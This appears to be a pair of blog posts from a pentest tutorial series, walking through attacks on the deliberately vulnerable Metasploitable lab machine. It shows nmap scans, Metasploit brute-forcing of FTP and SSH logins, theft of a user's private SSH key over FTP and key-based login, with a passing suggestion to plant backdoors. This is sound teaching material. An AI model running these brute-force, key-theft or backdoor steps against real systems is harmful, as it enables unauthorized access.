Metasploitable - Exploring SSH service

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo...

the matrix has you

follow the white rabbit.

knock, knock, Neo.

                        (`.         ,-,

                        ` `.    ,;' /

                         `.  ,'/ .'

                          `. X /.'

                .-;--''--.._` ` (

              .'            /   `

             ,           ` '   Q '

             ,         ,   `._    \

          ,.|         '     `-.;_'

          :  . `  ;    `  ` --,.._;

           ' `    ,   )   .'

              `._ ,  '   /_

                 ; ,''-,;' ``-

                  ``-..__``--`

       =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 728 exploits - 372 auxiliary - 80 post
+ -- --=[ 227 payloads - 27 encoders - 8 nops
       =[ svn r13643 updated today (2011.08.26)

B. 22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

Time to explore SSH service on the target.

Let's start with service version scan using metasploit auxiliary module.

msf auxiliary(ssh_version) >
Module options (auxiliary/scanner/ssh/ssh_version):
set RHOSTS 172.72.5.143
run
[*] 172.72.5.143:22, SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

From exploring FTP service, we had already identified 4 user names - user, postgres, service and msfadmin. We should now try to brute force ssh passwords for these users.

Metasploit module --> auxiliary/scanner/ssh/ssh_login

msf auxiliary(ssh_login) > set RHOSTS 172.72.5.143
RHOSTS => 172.72.5.143
msf auxiliary(ssh_login) > set USER_FILE /tmp/users
USER_FILE => /tmp/users
msf auxiliary(ssh_login) > set PASS_FILE /tmp/pass
PASS_FILE => /tmp/pass
msf auxiliary(ssh_login) > run

[*] 172.72.5.143:22 SSH - [05/20] - Trying: username: 'user' with password: 'user'
[*] Command shell session 2 opened (172.72.5.1:33210 -> 172.72.5.143:22) at 2011-08-25 03:59:56 +0530
[+] 172.72.5.143:22 SSH - [05/20] - Success: 'user':'user' 'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] 172.72.5.143:22 SSH - [06/20] - Trying: username: 'msfadmin' with password: 'msfadmin'
[*] Command shell session 3 opened (172.72.5.1:58888 -> 172.72.5.143:22) at 2011-08-25 03:59:56 +0530
[+] 172.72.5.143:22 SSH - [06/20] - Success: 'msfadmin':'msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] 172.72.5.143:22 SSH - [07/20] - Trying: username: 'postgres' with password: 'postgres'
[*] Command shell session 4 opened (172.72.5.1:56421 -> 172.72.5.143:22) at 2011-08-25 04:00:01 +0530
[+] 172.72.5.143:22 SSH - [07/20] - Success: 'postgres':'postgres' 'uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] 172.72.5.143:22 SSH - [08/20] - Trying: username: 'service' with password: 'service'
[*] Command shell session 5 opened (172.72.5.1:40998 -> 172.72.5.143:22) at 2011-08-25 04:00:02 +0530
[+] 172.72.5.143:22 SSH - [08/20] - Success: 'service':'service' 'uid=1002(service) gid=1002(service) groups=1002(service) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '

Assuming in case the passwords followed best security practices and were not present in our dictionary files either, then what could have we done here to gain ssh access to target?

Remember, when we were exploring FTP service, we had noticed in .bash_history file, that user ssh key is an authorized key at the ssh server. So if public key authentication has been configured correctly, then 'msfadmin' should be able to ssh into the target directly using the private key. We will not need the password at all.

root@victor:tmp# cat bash_history-user 

ssh-keygen -t dsa
sudo cat ~/.ssh/id_dsa.pub >> /home/msfadmin/.ssh/authorized_keys
sudo -s
exit

The following command is used to successfully login with the private key:

ssh -i id_dsa msfadmin@172.72.5.143

Also, Metasploit has a module which automates and confirms this for us.

msf auxiliary(ssh_login_pubkey) > run
[*] 172.72.5.143:22 SSH - Testing Cleartext Keys
[*] 172.72.5.143:22 SSH - Trying 1 cleartext key per user.
[*] Command shell session 2 opened (172.72.5.1:44867 -> 172.72.5.143:22) at 2011-08-27 06:34:12 +0530
[+] 172.72.5.143:22 SSH - Success: 'msfadmin':'70:ff:0f:ff:a3:8e:39:18:d7:30:c1:30:02:bc:20:3c' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login_pubkey) >

Ideally, we will first attempt to remotely exploit the network service, SSH in this case. This is normally the approach, if SSH service version found on target has vulnerabilities and knowledge, skill to exploit is available. It will usually provide us with privileged access. Anyhow, in our scenario, it seems all we have are these 4 non-root user accounts. Never the less, we can move around in the file system, perform further enum, data collection etc. For attempting to raise local user privilege, get the target kernel version with a 'uname -a' and identify a local priv escalation exploit for the kernel - either in metasploit or from exploit-db. Also check out packetstorm / secunia, & Google.

In a pentest, though, it is recommended to use exploits that have been tested for 'legit-ness' - if I can phrase it that way - and performance. If taken from some random site over the internet and / or without carefully monitoring the behavior of the exploit in the lab, you may not be able to catch that quick call going out to some server in a rogue country or elsewhere, i.e. to say the exploit itself is backdoored. And you may not come to know of it unless you read the code, test it in lab, monitor it for connection attempts, file system changes & the likes. And running it in customer network may seriously compromise the org security. Another aspect is verifying the performance of an exploit. Many exploits hook into and utilize critical OS processes / files to leverage elevated access. It is a high possibility that a new, untested exploit code crashes the target server as soon as you run it. The damage can be controlled with as soon as a single reboot or can get as complicated as device failure & fresh install. Trust me, this happens at times & your customer will not be pleased, to say the least.

Next up --> Exploring SMTP service

Metasploitable - Exploring FTP service

root@victor:msf3# ./msfconsole 
     ,           ,
    /             \
   ((_---,,,---_))
      (_)O O(_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 727 exploits - 372 auxiliary - 78 post
+ -- --=[ 227 payloads - 27 encoders - 8 nops
       =[ svn r13625 updated today (2011.08.24)


msf > 


We start with identifying any live hosts by doing a nmap ping scan.

msf > nmap -sP 172.72.5.2-254
[*] exec: nmap -sP 172.72.5.2-254 

Starting Nmap 5.21 ( http://nmap.org ) at 2011-08-25 03:04 IST
Nmap scan report for 172.72.5.143
Host is up (0.00042s latency).
MAC Address: 00:0C:29:8D:8D:A4 (VMware)
Nmap scan report for 172.72.5.254
Host is up (0.00019s latency).
MAC Address: 00:50:56:FD:82:EC (VMware)
Nmap done: 253 IP addresses (2 hosts up) scanned in 5.06 seconds
msf >

We find our target metasploitable system with IP 172.72.5.143. Let's gather information on services running in the target.

sV -> probe open ports to identify service / version info

sT -> TCP Connect scan. Perform a 3-way TCP handshake. can take time but very reliable

msf > nmap -sV -sT 172.72.5.143
[*] exec: nmap -sV -sT 172.72.5.143

Starting Nmap 5.21 ( http://nmap.org ) at 2011-08-25 03:07 IST
Nmap scan report for 172.72.5.143
Host is up (0.00043s latency).
Not shown: 988 closed ports

PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 

Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux 

Service detection performed. Please report any incorrect results at http://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds

We will explore these services one by one and see what we can find with each.


1. 21/tcp open ftp ProFTPD 1.3.1

Metasploit auxiliary module -> auxiliary/scanner/ftp/ftp_login

set PASS_FILE /opt/metasploit_open/msf3/data/wordlists/unix_passwords.txt

set USER_FILE /opt/metasploit_open/msf3/data/wordlists/unix_users.txt

setg RHOSTS 172.72.5.143

run

[+] 172.72.5.143:21 - Successful FTP login for 'postgres':'postgres'
[*] 172.72.5.143:21 - User 'postgres' has READ/WRITE access
[+] 172.72.5.143:21 - Successful FTP login for 'service':'service'
[*] 172.72.5.143:21 - User 'service' has READ/WRITE access
[+] 172.72.5.143:21 - Successful FTP login for 'user':'user'
[*] 172.72.5.143:21 - User 'user' has READ/WRITE access

We have 3 ftp login credentials now. Let's use these IDs to login to the target.

root@victor:tmp# ftp 172.72.5.143
Connected to 172.72.5.143.
220 ProFTPD 1.3.1 Server (Debian) [::ffff:172.72.5.143]
Name (172.72.5.143:victor): user
331 Password required for user
Password:
230 User user logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lat
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 3 user user 4096 Aug 24 21:59 .
-rw------- 1 user user 165 May 7 2010 .bash_history
drwx------ 2 user user 4096 May 7 2010 .ssh
drwxr-xr-x 6 root root 4096 Apr 16 2010 ..
-rw-r--r-- 1 user user 220 Mar 31 2010 .bash_logout
-rw-r--r-- 1 user user 2928 Mar 31 2010 .bashrc
-rw-r--r-- 1 user user 586 Mar 31 2010 .profile
226 Transfer complete

.bash_history keeps a history of commands a user has run. Many a times in pentests, I've found useful info on targets, as user ID, passwords, confidential file names, locations, important server names, shared resources etc in this little file.

I will download this file.

Remember Information Gathering is a continuous, on-going phase during a penetration test. You will build upon the collected information to leverage access into the target environment.

ftp> get .bash_history

local: .bash_history remote: .bash_history
200 PORT command successful
150 Opening BINARY mode data connection for .bash_history (165 bytes)
226 Transfer complete
165 bytes received in 0.00 secs (41.6 kB/s)

There is also a .ssh directory. Checking it tells us the presence of public & private ssh keys of the 'user'.

In a pentest, you may come across a scenario where SSH is permitted for device / server administration but passwords are not used. Instead, public key authentication is configured. This means, if you can obtain ssh keys of a [ privileged ] user, then you can gain straight access to the resources without the need of knowing login password. Also, in certain environments, access and security is tied to trusts. Once you can impersonate a 'trusted' / authorized user, gaining access to other juicy resources is a piece of cake.

We go into the .ssh directory and see there is the key pair. Private key is what we will need. Download it.

ftp> cd .ssh

250 CWD command successful
ftp> ls -lta
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 3 user user 4096 Aug 24 21:59 ..
drwx------ 2 user user 4096 May 7 2010 .
-rw------- 1 user user 668 May 7 2010 id_dsa
-rw-r--r-- 1 user user 609 May 7 2010 id_dsa.pub
226 Transfer complete

ftp> get id_dsa
local: id_dsa remote: id_dsa
200 PORT command successful
150 Opening BINARY mode data connection for id_dsa (668 bytes)
226 Transfer complete
668 bytes received in 0.00 secs (327.8 kB/s)
ftp> get id_dsa.pub
local: id_dsa.pub remote: id_dsa.pub
200 PORT command successful
150 Opening BINARY mode data connection for id_dsa.pub (609 bytes)
226 Transfer complete
609 bytes received in 0.00 secs (379.8 kB/s)
ftp> bye

From .bash_history file, a new user 'msfadmin' seems to be present on the target box.

root@victor:tmp# cat bash_history-user 

ssh-keygen -t dsa
ls
cd .ssh
ls
sudo -s
cd /home/user
lsls .ss
ls .ssj
clear
ls .ssh
sudo cat ~/.ssh/id_dsa.pub >> /home/msfadmin/.ssh/authorized_keys
sudo -s
exit

After brute forcing, it is confirmed that just like with previous 3 users, msfadmin  is a joe account, meaning that the password is same as the user id -> msfadmin. FTP login using msfadmin is successful.

ftp 172.72.5.143

Connected to 172.72.5.143.
220 ProFTPD 1.3.1 Server (Debian) [::ffff:172.72.5.143]
Name (172.72.5.143:victor): msfadmin
331 Password required for msfadmin
Password:
230 User msfadmin logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lat
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw------- 1 msfadmin msfadmin 806 May 18 2010 .bash_history
drwxr-xr-x 5 msfadmin msfadmin 4096 May 18 2010 .
drwx------ 2 msfadmin msfadmin 4096 May 18 2010 .ssh
-rw-r--r-- 1 msfadmin msfadmin 0 May 7 2010 .sudo_as_admin_successful
-rw------- 1 msfadmin msfadmin 98 Apr 28 2010 .lesshst
drwxr-xr-x 6 msfadmin msfadmin 4096 Apr 28 2010 vulnerable
drwxr-xr-x 4 msfadmin msfadmin 4096 Apr 17 2010 .distcc
drwxr-xr-x 6 root root 4096 Apr 16 2010 ..
-rw-r--r-- 1 msfadmin msfadmin 586 Mar 16 2010 .profile
226 Transfer complete

The user has Read/Write privileges using FTP service. Even though these users are non-root accounts, and have RW privs in their home directories, we have gained a foothold into the target. This is also applicable to other system / network services such as samba [ file sharing ] or ssh [ remote access ]. Using these accounts, it is now possible for us to explore the file system, configuration(s), set up, any specific software(s) / applications that are installed and may be vulnerable. Also a good idea is to upload backdoor / malware / trojan / privilege escalation exploit(s) on the server. The expectation is to wait for some user, usually root or root privileged user, to access these malicious exes and run them. Once the exe runs, depending upon its function, a variety of actions can be performed. Actions can include and are not limited to gaining shell, execute commands, sniff sensitive data off the wire and send the logs to the attacker, enumerate other systems in the network environment for further exploitation etc, and many more.

In a pentest, however, always document any changes you've made to the file system and remember to clean up exe, configuration changes etc, before you sign off for the day. Normally, the any changes by the pentester and associated risk must be discussed with customer and arrived at, in the Terms of Engagement.

Next  up --> Exploring SSH service